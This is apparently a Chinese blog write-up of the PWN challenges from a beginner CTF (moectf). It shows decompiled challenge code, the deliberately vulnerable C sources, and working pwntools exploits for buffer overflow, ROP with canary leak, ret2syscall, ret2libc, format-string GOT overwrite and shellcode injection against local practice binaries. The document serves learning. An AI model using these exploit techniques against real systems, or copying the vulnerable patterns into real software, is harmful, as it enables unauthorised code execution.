前言

西电信安协会曾在八月到十月举行了一场CTF新手赛,当时觉得自己太菜了就中途弃赛打基础去了(虽然现在还是菜得自己都没眼看),现在凑巧回顾了一下题目,发现比赛的题目其实非常适合小白入门和拓宽知识面,于是决定赛后复盘一下,其他方向也当做点开技能树

PWN题大概看了一下,除了格式化字符串漏洞很生疏、堆题还没碰过之外,其他都在能力范围内,就当做刷点题复习顺便学习点新知识了

  • 题目里本应是动态flag的地方我全部以"pwn!"代替,静态flag不变

shell

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  puts("Welcome to PWN world!");
  puts("In PWN, your goal is to get shell.");
  puts("Here I'll give you the shell as a gift for our first meeting.");
  puts("Have fun in the following trip!");
  system("/bin/sh");
  return 0;
}

system("/bin/sh");都怼脸上了,没什么好说的

filedes

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int fd; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  puts("In UNIX, everything is a file.");
  puts("Your screen is a file, too.");
  puts("Do you know how to print flag on your screen file?");
  close(1);
  open("./flag", 0);
  __isoc99_scanf("%u", &fd);
  read(fd, &flag, 0x40uLL);
  __isoc99_scanf("%u", &fd);
  write(fd, &flag, 0x40uLL);
  return 0;
}

主要考察Linux文件读写中的文件标识符

在以前的几篇文章里提过,文件标识符0是标准输入流stdin、1是标准输出流stdout、2是标准异常流stderr,一般而言用户打开的第一个新文件文件标识符会是紧接着未占用的3,后面类推
但是注意到题目有个close(1);,关闭了标准输出流,所以我们打开的文件的标识符是1,所以第一个read的标识符我们应该设为1
但是stdout被关闭了我们应该怎么输出呢?有两种办法

  • fd=0:将flag写入stdin,缓冲区被刷新后会将flag打印出来(不知道逻辑对不对,但是亲测有效)
  • fd=2:将flag写入stderr,从而通过异常流输出flag

border

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  size_t nbytes[2]; // [rsp+10h] [rbp-10h] BYREF

  nbytes[1] = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  HIDWORD(nbytes[0]) = open("./flag", 0);
  read(SHIDWORD(nbytes[0]), &unk_6010E0, 0x30uLL);
  puts("Say something to compliment me.");
  puts("And I'll give you flag");
  printf("length: ");
  __isoc99_scanf("%u", nbytes);
  if ( LODWORD(nbytes[0]) <= 0x50 )
  {
    printf("content: ");
    read(0, byte_6010C0, LODWORD(nbytes[0]));
    puts("uh...");
    puts(byte_6010C0);
    puts("I don't like it");
  }
  else
  {
    puts("You are so verbose!");
  }
  return 0LL;
}

乍一看有点懵,细看其实逻辑挺简单的

flag被打开并写在0x6010E0,然后程序要求我们输入一个不大于0x50的read函数长度参数,然后我们输入字符串并写在0x6010C0
0x6010E00x6010C0是紧邻的两段地址,相距0x20,那么我们将它们之间的内存填满就可以直接puts完这两段内存的内容了

$ ./pwn
Say something to compliment me.
And I'll give you flag
length: 80
content: 1111111111111111111111111111111
uh...
1111111111111111111111111111111
pwn!
I don't like it

buffer overflow

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[70]; // [rsp+0h] [rbp-A0h] BYREF
  char v5[82]; // [rsp+46h] [rbp-5Ah] BYREF
  unsigned __int64 v6; // [rsp+98h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  memset(s, 0, 0x8CuLL);
  strcpy(v5, "Limiter and Wings are handsome boys!");
  puts("Write down your note:");
  read(0, s, 0x70uLL);
  sleep(1u);
  puts("This is my note:");
  sleep(1u);
  puts(v5);
  sleep(1u);
  sleep(1u);
  if ( !strcmp(v5, ans) )
  {
    puts("Wow they are really cute...");
    sleep(1u);
    puts("And this is a gift for you^_^!");
    sleep(1u);
    system("cat ./flag");
  }
  else
  {
    puts("No, They are beautiful girls!");
    sleep(1u);
  }
  return 0;
}
.data:0000000000004020 ans             db 'Limiter and Wings are beautiful girls!',0

简单的缓冲区溢出,将数组s填满后覆盖v5ans的内容即可

EXP

from pwn import *

p = process("./pwn")

payload = b"a" * 70 + b"Limiter and Wings are beautiful girls!"
p.send(payload)

p.interactive()

moectf{1_23411y_w4n7_70_m422y_11m1732_4nd_w1n95}

有点搞,果然男生最喜闻乐见的就是hxdm女装/性转吗()

源码

贴个出题人源码,对复现、出题还是很有帮助的

// gcc buffer_overflow.c -o pwn
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char ans[] = "Limiter and Wings are beautiful girls!";

int main() {
    struct noteBook {
        char str1[70];
        char str2[70];
    } data;
    memset(&data, 0, sizeof(data));
    strcpy(data.str2, "Limiter and Wings are handsome boys!");

    printf("Write down your note:\n");
    read(0, data.str1, 0x70);
    sleep(1);

    printf("This is my note:\n");
    sleep(1);
    printf("%s\n", data.str2);
    sleep(1);
    sleep(1);

    if (!strcmp(data.str2, ans)) {
        printf("Wow they are really cute...\n");
        sleep(1);
        printf("And this is a gift for you^_^!\n");
        sleep(1);
        system("cat ./flag");
    } else {
        printf("No, They are beautiful girls!\n");
        sleep(1);
    }
    return 0;
}

__attribute__((constructor)) void unbuffer() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

int_overflow

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  unsigned int v3; // eax
  __int64 result; // rax
  int v5; // [rsp+18h] [rbp-28h] BYREF
  unsigned int v6; // [rsp+1Ch] [rbp-24h]
  char v7[24]; // [rsp+20h] [rbp-20h] BYREF
  unsigned __int64 v8; // [rsp+38h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  puts("A postive number plus a postive number equals to...");
  puts("ZERO?!");
  puts("That's impossible!!!");
  puts("But what if it's in the computer world...");
  v3 = time(0LL);
  srand(v3);
  v6 = rand();
  printf("If %d + x == 0 (x > 0), x = ?\n", v6);
  __isoc99_scanf("%s", v7);
  if ( (unsigned int)sub_400916(v7) )
  {
    if ( v7[0] == 45 )
    {
      puts("x is not postive!");
      result = 0LL;
    }
    else
    {
      __isoc99_sscanf(v7, "%d", &v5);
      if ( v5 + v6 )
      {
        puts("Wrong!");
      }
      else
      {
        puts("Correct!");
        system("/bin/sh");
      }
      result = 0LL;
    }
  }
  else
  {
    puts("Please enter a number!");
    result = 0LL;
  }
  return result;
}

简单的整数溢出,直接计算器0x1 0000 0000减去生成的随机数即可

$ ./pwn
A postive number plus a postive number equals to...
ZERO?!
That's impossible!!!
But what if it's in the computer world...
If 418752756 + x == 0 (x > 0), x = ?
3876214540
Correct!
$ cat flag
pwn!

endian

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s2[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  __isoc99_scanf("%d%d", s2, &s2[4]);
  if ( !strncmp("MikatoNB", s2, 8uLL) )
    system("/bin/sh");
  return 0;
}

只允许输入整数,但要和字符串进行比较,很显然是要把字符串的十六进制码(小端序)转换成十进制以输入

$ ./pwn
1634429261
1112436596
$ cat flag
pwn!

random

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int v3; // ebx
  int v4; // ebx
  int v5; // eax
  int v7; // [rsp+18h] [rbp-68h] BYREF
  int v8; // [rsp+1Ch] [rbp-64h]
  char s[32]; // [rsp+20h] [rbp-60h] BYREF
  unsigned int seed[2]; // [rsp+40h] [rbp-40h]
  char v11[32]; // [rsp+48h] [rbp-38h] BYREF
  unsigned __int64 v12; // [rsp+68h] [rbp-18h]

  v12 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  *(_QWORD *)seed = time(0LL);
  memset(s, 0, sizeof(s));
  memset(v11, 0, sizeof(v11));
  printf("username: ");
  read(0, s, 0x20uLL);
  printf("password: ");
  read(0, v11, 0x20uLL);
  if ( !strcmp(v11, "ls_4nyth1n9_7ruIy_R4nd0m?") )
  {
    printf("Hello, %s\n", s);
    puts("Let's guest number!");
    srand(seed[0]);
    v3 = rand();
    v4 = rand() ^ v3;
    v5 = rand();
    srand(v4 ^ v5);
    rand();
    rand();
    rand();
    v8 = rand();
    puts("I've got a number in mind.");
    puts("If you guess it right, I'll give what you want.");
    puts("But remember, you have only one chance.");
    puts("Please tell me the number you guess now.");
    __isoc99_scanf("%d", &v7);
    if ( v7 == v8 )
    {
      puts("You did it!");
      puts("Here's your shell");
      system("/bin/sh");
    }
    else
    {
      puts("Emmm, seems you're wrong.");
      puts("Goodbye!");
    }
  }
  else
  {
    puts("Permission denied.");
  }
  return 0LL;
}

伪随机数,time(0);精确到秒,只要我们能在同一秒内使用相同的时间戳作种子就能生成一样的随机数

EXP

//gcc  seed.main -o seed
#include<stdio.h>

int main()
{
    unsigned int x = time(0);
    srand(x);
    int v3 = rand();
    int v4 = rand()^v3;
    int v5 = rand();
    srand(v4^v5);
    rand();rand();rand();
    printf("%d\n",rand());
    return 0;
}
from pwn import *

io = process('./seed')
r = io.recvline(keepends=False)

io = process('./pwn')
username = 'a39'
password = 'ls_4nyth1n9_7ruIy_R4nd0m?' + '\x00'    #注意末尾要加上\x00

io.recvuntil('username: ')
io.sendline(username)
io.recvuntil('password: ')
io.sendline(password)

io.recvuntil('Please tell me the number you guess now.')
io.sendline(r)

io.interactive()

rop32

简简单单32位ROP入门,给了system函数和字符串/bin/sh

EXP

from pwn import *

io = process('./pwn')

sys_addr = 0x80491E7
binsh_addr = 0x804c024

payload = b'a'*(0x1C+0x04) + p32(sys_addr) + p32(binsh_addr)
io.sendline(payload)
io.interactive()

有点小翻车的地方是程序只给了system函数的PLT跳转函数所以不能直接调用,但是看反汇编的时候发现一个call _system可以直接使用

moectf{w0w_y0u_423_32817_20p_m45732_734ch_m3_p13453}

源码

// gcc -m32 rop32.c -fno-stack-protector -no-pie -o pwn
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char binsh[] = "/bin/sh";

void vuln() {
    char buf[20];
    read(0, buf, 0x28);
    return;
}

int main() {
    system("echo Go Go Go!!!\n");
    vuln();
    return 0;
}

__attribute__((constructor)) void unbuffer() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

rop64

main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  system("echo Go Go Go!!!\n");
  vuln();
  return 0;
}

vuln()

unsigned __int64 vuln()
{
  char s[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(s, 0, sizeof(s));
  read(0, s, 0x30uLL);
  printf("%s", s);
  read(0, s, 0x50uLL);
  return v2 - __readfsqword(0x28u);
}

gadget(),反编译出来是个挺有参考价值的玩意,反汇编出来核心就是pop rdi; retn;

void gadget()
{
  ;
}

看看保护

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

发现开了canary,经过测试大概推定canary是存储在数组sebp之间
vuln()里要我们输入两次,第一次输入有回显,我们可以通过printf()来泄露canary(canary末位是\x00),第二次允许输入长度明显更大,可以溢出
出题人他真的,我哭死
至于为什么不用栈平衡,我也还不太清楚但试过打不通,以后搞懂这个机制之后开篇文章详细讲讲

EXP

from pwn import *

io = process('./pwn')

payload1 = b'a'*40
io.recvline()
io.sendline(payload1)
io.recvline()

canary = u64(io.recv(7).rjust(8,b'\x00'))
sys_addr = 0x401284
binsh_addr = 0x404058
pop_rdi = 0x4011de


payload2 = b'a'*40 + p64(canary) + b'b'*8 + p64(pop_rdi) + p64(binsh_addr) + p64(sys_addr)

io.sendline(payload2)
io.interactive()

moectf{m0m_1_c4n_d0_20p_4nd_8yp455_c4n42y_0n_4_64817_m4ch1n3}

源码

挺有参考价值的

// gcc rop64.c -no-pie -o pwn
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char binsh[] = "/bin/sh";

void gadget() {
    asm volatile(
        "pop %rdi;"
        "ret;");
}

void vuln() {
    char buf[40];
    memset(buf, 0, 40);
    read(0, buf, 0x30);
    printf("%s", buf);
    read(0, buf, 0x50);
    return;
}

int main() {
    system("echo Go Go Go!!!\n");
    vuln();
    return 0;
}

__attribute__((constructor)) void unbuffer() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

syscall

main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  puts("I'll give you a gift first!");
  printf("%p\n", gadget);
  puts("Go Go Go!!!");
  vuln();
  return 0;
}

vuln()

ssize_t vuln()
{
  char buf[64]; // [rsp+0h] [rbp-40h] BYREF

  read(0, buf, 0x80uLL);
  return read(0, buf, 0x3CuLL);
}

以前只做过x86的ret2syscall,头一次做x64的,还挺新鲜,也学到一些东西

和x86指令集使用int 0x80不同的是,x64通过syscall指令进行系统调用,rax寄存器用于传参(调用号)
一般我们使用execve()(调用号0x3B)进行系统调用(因为system()不是系统调用),而execve()的触发条件是

  • rax = 0x3b
  • rdi指向"/bin/sh"
  • rsi = 0x0
  • rdx = 0x0
  • execve("/bin/sh", 0, 0);

更多有关Linux系统调用的内容可以参看这篇文章

rdirsirdx的gadget以及syscall都可以通过ROPgadget找到,但rax的没有,怎么办呢
正好有句return read(0, buf, 0x3CuLL);,其意为先执行read(),然后将它的返回值作为vuln()的返回值,而read()的返回值为我们输入的字符串长度(包括换行符)

你以为这就结束了吗?并没有。看了看保护,除了canary几乎全开了

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

其中PIE保护与ASLR保护很相似,都会对地址随机化
好在有printf("%p\n", gadget);把地址双手奉上了

EXP

from pwn import *

io = process('./pwn')

syscall = 0x11b6
binsh = 0x4010
pop_rdi = 0x11b1
pop_rsi_rdx = 0x11b3
gadget = 0x11a9

io.recvline()
gadget_addr = int(io.recvline(keepends=False),16)
offset = gadget_addr - gadget
syscall_addr = syscall + offset
binsh_addr = binsh + offset
pop_rdi_addr = pop_rdi + offset
pop_rsi_rdx_addr = pop_rsi_rdx + offset

payload1 = b'a'*(0x40+0x08) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(pop_rsi_rdx_addr) + p64(0x00) + p64(0x00) + p64(syscall_addr)
payload2 = b'a'*0x3a
io.sendline(payload1)
io.sendline(payload2)

io.interactive()

有个值得注意的点是read()函数换行符结束输入,所以必须使用sendline方法(send方法无回车)并且payload2需要减去回车符占用的一个字节

moectf{n0w_14m_4_m45732_0f_5y5c411_h4h4_7h475_23411y_c242y}

源码

// gcc syscall.c -fno-stack-protector -o pwn
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char binsh[] = "/bin/sh";

void gadget() {
    asm volatile(
        "pop %rdi;"
        "ret;"
        "pop %rsi;"
        "pop %rdx;"
        "ret;"
        "syscall");
}

void vuln() {
    char buf[60];
    read(0, buf, 0x80);
    read(0, buf, 60);
    return;
}

int main() {
    printf("I'll give you a gift first!\n");
    printf("%p\n", gadget);
    printf("Go Go Go!!!\n");
    vuln();
    return 0;
}

__attribute__((constructor)) void unbuffer() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

ret2libc

和上两题区别不大,保护除了NX都没开,但这次没有直白的调用了
64位ret2libc也还是第一次做,感觉蛮新鲜的

EXP

from pwn import *
from LibcSearcher import *

io = process('./pwn')
e = ELF('./pwn')

puts_plt = e.plt['puts']
puts_got = e.got['puts']
main = e.symbols['main']
pop_rdi = 0x40117e

payload1 = b'a'*(0x40+0x08) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.recvline()
io.sendline(payload1)

puts = u64(io.recv(6).ljust(8,b'\x00'))
libc = LibcSearcher("puts",puts)
base = puts - libc.dump('puts')
binsh_addr = base + libc.dump('str_bin_sh')
sys_addr = base + libc.dump('system')
ret_addr = 0x40101a

payload2 = b'a'*(0x40+0x08) + p64(ret_addr) + p64(pop_rdi) + p64(binsh_addr) + p64(sys_addr)

io.sendline(payload2)
io.interactive()

moectf{118c_15_cp20924m5_8357_f213nd_15n7_17}

源码

// gcc ret2libc.c -fno-stack-protector -no-pie -o pwn
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void gadget() {
    asm volatile(
        "pop %rdi;"
        "ret;");
}

void vuln() {
    char buf[60];
    read(0, buf, 0x70);
    return;
}

int main() {
    puts("Go Go Go!!!");
    vuln();
    return 0;
}

__attribute__((constructor)) void unbuffer() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

babyfmt

因为格式化字符串实际上只做过一次,所以过程相当不顺

main()

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char *s; // [esp+18h] [ebp-110h]
  char buf[256]; // [esp+1Ch] [ebp-10Ch] BYREF
  unsigned int v5; // [esp+11Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  s = (char *)malloc(0x10u);
  sprintf(s, "%p", backdoor);
  printf("gift: %p\n", s);
  while ( 1 )
  {
    memset(buf, 0, sizeof(buf));
    read(0, buf, 0xFFu);
    printf(buf);
  }
}

backdoor()

int backdoor()
{
  return system("/bin/sh");
}

_printf.plt

jmp     ds:off_804A010
_printf endp

方法1

传统方法利用格式化字符串漏洞,但我还不太理解,先挖个坑,贴个大佬的EXP

EXP1


from pwn import *


io = process("./pwn")
context(os = 'linux',arch = 'i386',log_level = 'debug')

io.recvline()

payload1 = b'%p'
io.sendline(payload1)
stack_value = int(eval(str(io.recv(10))),16)

payload2 = p32(stack_value-0x30) + p32(stack_value-0x2f) + b'%125c%12$hhn' + b'%31c%11$hhn'
io.sendline(payload2)

io.interactive()

方法2

看大佬的writeup发现原来还可以通过直接改printf()的GOT表(参见CTFwiki:HijackGOT

因为没开地址随机化,我们这里可以将printf()的GOT地址0x804a010(在其PLT反汇编里找)写为给定的backdoor()的地址0x804859b,偏移通过gdb动态调试确定(从ecx上方开始数)

可以使用pwntools自带的格式化字符串漏洞利器fmtstr_payload来构造payload

fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
  • offset:表示格式化字符串的偏移(即是第几个参数)
  • writes:表示需要利用%n写入的数据,采用字典形式
  • numberwritten:表示已经输出的字符个数,默认为0
  • write_size:表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是字节(byte),即hhn
  • fmtstr_payload()返回的就是payload

EXP2

from pwn import *
io = process('./pwn')

payload = fmtstr_payload(11,{0x804a010:0x804859b})
io.sendline(payload)
io.sendline('')    #无特别含义,只是出于美观的换行
io.interactive()

shellcode

不能反编译,那就去看看汇编

var_60= qword ptr -60h
var_54= dword ptr -54h
s= byte ptr -50h
var_8= qword ptr -8

; __unwind {
push    rbp
mov     rbp, rsp
sub     rsp, 60h
mov     [rbp+var_54], edi
mov     [rbp+var_60], rsi
mov     rax, fs:28h
mov     [rbp+var_8], rax
xor     eax, eax
mov     rax, cs:stdin@@GLIBC_2_2_5
mov     ecx, 0          ; n
mov     edx, 2          ; modes
mov     esi, 0          ; buf
mov     rdi, rax        ; stream
call    _setvbuf
mov     rax, cs:stdout@@GLIBC_2_2_5
mov     ecx, 0          ; n
mov     edx, 2          ; modes
mov     esi, 0          ; buf
mov     rdi, rax        ; stream
call    _setvbuf
mov     rax, cs:stderr@@GLIBC_2_2_5
mov     ecx, 0          ; n
mov     edx, 2          ; modes
mov     esi, 0          ; buf
mov     rdi, rax        ; stream
call    _setvbuf
lea     rax, [rbp+s]
mov     edx, 40h ; '@'  ; n
mov     esi, 0          ; c
mov     rdi, rax        ; s
call    _memset
lea     rax, [rbp+s]
mov     rdi, rax
mov     eax, 0
call    _gets
lea     rdx, [rbp+s]
mov     eax, 0
call    rdx
mov     eax, 0
mov     rcx, [rbp+var_8]
xor     rcx, fs:28h
jz      short locret_400799

call memset;开始的程序意为:调用memset()将数组s置零,然后调用gets()输入,最后跳转到数组s执行我们的输入
所以我们输入一段shellcode即可

EXP

from pwn import *

io = process('./pwn')
context(os="linux",arch="amd64",log_level="debug")

shellcode = asm(shellcraft.sh())
io.sendline(shellcode)

io.interactive()

值得注意的是我们必须加上context()来设置上下文(大概就是环境),否则生成的shellcode无法执行

ret2text

main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  __int64 v4; // rdi
  int v5; // eax
  char buf[64]; // [rsp+0h] [rbp-40h] BYREF

  puts("I've prepared a gift for you, if you don't want to keep learning CET-4 words, find it out!");
  v3 = time(0LL);
  v4 = v3;
  srand(v3);
  v5 = rand();
  ((void (__fastcall *)(__int64, const char **))learn[v5 % 100])(v4, argv);
  printf("Make a wish: ");
  read(0, buf, 0x64uLL);
  return 0;
}

然后函数列表里是一大串a开头的四级单词命名的函数(草)

最终通过查找字符串在action()里找到了现成的shellcode

push    rbp
mov     rbp, rsp
lea     rax, aBinSh     ; "/bin/sh"
mov     rdi, rax        ; command
call    _system
nop
pop     rbp
retn

EXP

from pwn import *

io = process('./pwn')

binsh_addr = 0x4014c2
payload = b'a'*(0x40+0x08) + p64(binsh_addr)
io.sendline(payload)

io.interactive()

moectf{h3y_y0u_kn0w_wh47_15_574ck_0v32_f10w}

源码

太草了

// gcc ret2text.c -fno-stack-protector -no-pie -o pwn
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
void abandon() { system("echo \"abandon is a CET-4 word^_^\""); }
void aboard() { system("echo \"aboard is a CET-4 word^_^\""); }
void absolute() { system("echo \"absolute is a CET-4 word^_^\""); }
void absolutely() { system("echo \"absolutely is a CET-4 word^_^\""); }
void absorb() { system("echo \"absorb is a CET-4 word^_^\""); }
void abstract() { system("echo \"abstract is a CET-4 word^_^\""); }
void abundant() { system("echo \"abundant is a CET-4 word^_^\""); }
void abuse() { system("echo \"abuse is a CET-4 word^_^\""); }
void academic() { system("echo \"academic is a CET-4 word^_^\""); }
void accelerate() { system("echo \"accelerate is a CET-4 word^_^\""); }
void accidental() { system("echo \"accidental is a CET-4 word^_^\""); }
void accommodate() { system("echo \"accommodate is a CET-4 word^_^\""); }
void accommodation() { system("echo \"accommodation is a CET-4 word^_^\""); }
void accompany() { system("echo \"accompany is a CET-4 word^_^\""); }
void accomplish() { system("echo \"accomplish is a CET-4 word^_^\""); }
void accordance() { system("echo \"accordance is a CET-4 word^_^\""); }
void accordingly() { system("echo \"accordingly is a CET-4 word^_^\""); }
void account() { system("echo \"account is a CET-4 word^_^\""); }
void accumulate() { system("echo \"accumulate is a CET-4 word^_^\""); }
void accuracy() { system("echo \"accuracy is a CET-4 word^_^\""); }
void accurate() { system("echo \"accurate is a CET-4 word^_^\""); }
void accustomed() { system("echo \"accustomed is a CET-4 word^_^\""); }
void acid() { system("echo \"acid is a CET-4 word^_^\""); }
void acquaintance() { system("echo \"acquaintance is a CET-4 word^_^\""); }
void acquire() { system("echo \"acquire is a CET-4 word^_^\""); }
void acre() { system("echo \"acre is a CET-4 word^_^\""); }
void action() { system("/bin/sh"); }
void adapt() { system("echo \"adapt is a CET-4 word^_^\""); }
void addition() { system("echo \"addition is a CET-4 word^_^\""); }
void additional() { system("echo \"additional is a CET-4 word^_^\""); }
void addres() { system("echo \"addres is a CET-4 word^_^\""); }
void adequate() { system("echo \"adequate is a CET-4 word^_^\""); }
void adjust() { system("echo \"adjust is a CET-4 word^_^\""); }
void administration() { system("echo \"administration is a CET-4 word^_^\""); }
void admission() { system("echo \"admission is a CET-4 word^_^\""); }
void admit() { system("echo \"admit is a CET-4 word^_^\""); }
void advance() { system("echo \"advance is a CET-4 word^_^\""); }
void advanced() { system("echo \"advanced is a CET-4 word^_^\""); }
void adventure() { system("echo \"adventure is a CET-4 word^_^\""); }
void advisable() { system("echo \"advisable is a CET-4 word^_^\""); }
void affair() { system("echo \"affair is a CET-4 word^_^\""); }
void affect() { system("echo \"affect is a CET-4 word^_^\""); }
void affection() { system("echo \"affection is a CET-4 word^_^\""); }
void afford() { system("echo \"afford is a CET-4 word^_^\""); }
void afterward() { system("echo \"afterward is a CET-4 word^_^\""); }
void age() { system("echo \"age is a CET-4 word^_^\""); }
void aggressive() { system("echo \"aggressive is a CET-4 word^_^\""); }
void aircraft() { system("echo \"aircraft is a CET-4 word^_^\""); }
void alcohol() { system("echo \"alcohol is a CET-4 word^_^\""); }
void alike() { system("echo \"alike is a CET-4 word^_^\""); }
void alloy() { system("echo \"alloy is a CET-4 word^_^\""); }
void alphabet() { system("echo \"alphabet is a CET-4 word^_^\""); }
void alter() { system("echo \"alter is a CET-4 word^_^\""); }
void alternative() { system("echo \"alternative is a CET-4 word^_^\""); }
void altitude() { system("echo \"altitude is a CET-4 word^_^\""); }
void aluminium() { system("echo \"aluminium is a CET-4 word^_^\""); }
void amaze() { system("echo \"amaze is a CET-4 word^_^\""); }
void ambulance() { system("echo \"ambulance is a CET-4 word^_^\""); }
void amongst() { system("echo \"amongst is a CET-4 word^_^\""); }
void amuse() { system("echo \"amuse is a CET-4 word^_^\""); }
void analyse() { system("echo \"analyse is a CET-4 word^_^\""); }
void analysis() { system("echo \"analysis is a CET-4 word^_^\""); }
void ancestor() { system("echo \"ancestor is a CET-4 word^_^\""); }
void anchor() { system("echo \"anchor is a CET-4 word^_^\""); }
void ancient() { system("echo \"ancient is a CET-4 word^_^\""); }
void ankle() { system("echo \"ankle is a CET-4 word^_^\""); }
void announce() { system("echo \"announce is a CET-4 word^_^\""); }
void annoy() { system("echo \"annoy is a CET-4 word^_^\""); }
void annual() { system("echo \"annual is a CET-4 word^_^\""); }
void anticipate() { system("echo \"anticipate is a CET-4 word^_^\""); }
void anxiety() { system("echo \"anxiety is a CET-4 word^_^\""); }
void anxious() { system("echo \"anxious is a CET-4 word^_^\""); }
void apart() { system("echo \"apart is a CET-4 word^_^\""); }
void apologize() { system("echo \"apologize is a CET-4 word^_^\""); }
void apparatus() { system("echo \"apparatus is a CET-4 word^_^\""); }
void appeal() { system("echo \"appeal is a CET-4 word^_^\""); }
void appetite() { system("echo \"appetite is a CET-4 word^_^\""); }
void appliance() { system("echo \"appliance is a CET-4 word^_^\""); }
void applicable() { system("echo \"applicable is a CET-4 word^_^\""); }
void application() { system("echo \"application is a CET-4 word^_^\""); }
void appoint() { system("echo \"appoint is a CET-4 word^_^\""); }
void appreciate() { system("echo \"appreciate is a CET-4 word^_^\""); }
void approval() { system("echo \"approval is a CET-4 word^_^\""); }
void approve() { system("echo \"approve is a CET-4 word^_^\""); }
void approximate() { system("echo \"approximate is a CET-4 word^_^\""); }
void arbitrary() { system("echo \"arbitrary is a CET-4 word^_^\""); }
void architecture() { system("echo \"architecture is a CET-4 word^_^\""); }
void argue() { system("echo \"argue is a CET-4 word^_^\""); }
void argument() { system("echo \"argument is a CET-4 word^_^\""); }
void arise() { system("echo \"arise is a CET-4 word^_^\""); }
void arithmetic() { system("echo \"arithmetic is a CET-4 word^_^\""); }
void arouse() { system("echo \"arouse is a CET-4 word^_^\""); }
void article() { system("echo \"article is a CET-4 word^_^\""); }
void artificial() { system("echo \"artificial is a CET-4 word^_^\""); }
void artistic() { system("echo \"artistic is a CET-4 word^_^\""); }
void ash() { system("echo \"ash is a CET-4 word^_^\""); }
void ashamed() { system("echo \"ashamed is a CET-4 word^_^\""); }
void aspect() { system("echo \"aspect is a CET-4 word^_^\""); }
void assemble() { system("echo \"assemble is a CET-4 word^_^\""); }
void assembly() { system("echo \"assembly is a CET-4 word^_^\""); }
void assess() { system("echo \"assess is a CET-4 word^_^\""); }
void (*learn[])() = {
abandon,      aboard,      absolute,       absolutely,   absorb,
abstract,     abundant,    abuse,          academic,     accelerate,
accidental,   accommodate, accommodation,  accompany,    accomplish,
accordance,   accordingly, account,        accumulate,   accuracy,
accurate,     accustomed,  acid,           acquaintance, acquire,
acre,         adapt,       addition,       additional,   addres,
adequate,     adjust,      administration, admission,    admit,
advance,      advanced,    adventure,      advisable,    affair,
affect,       affection,   afford,         afterward,    age,
aggressive,   aircraft,    alcohol,        alike,        alloy,
alphabet,     alter,       alternative,    altitude,     aluminium,
amaze,        ambulance,   amongst,        amuse,        analyse,
analysis,     ancestor,    anchor,         ancient,      ankle,
announce,     annoy,       annual,         anticipate,   anxiety,
anxious,      apart,       apologize,      apparatus,    appeal,
appetite,     appliance,   applicable,     application,  appoint,
appreciate,   approval,    approve,        approximate,  arbitrary,
architecture, argue,       argument,       arise,        arithmetic,
arouse,       article,     artificial,     artistic,     ash,
ashamed,      aspect,      assemble,       assembly,     assess};
int main() {
char wish[64];
printf(
"I've prepared a gift for you, if you don't want to keep learning "
"CET-4 words, "
"find it out!\n");
srand(time(NULL));
learn[rand() % 100]();
printf("Make a wish: ");
read(0, wish, 0x64);
return 0;
}
__attribute__((constructor)) void unbuffer() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}

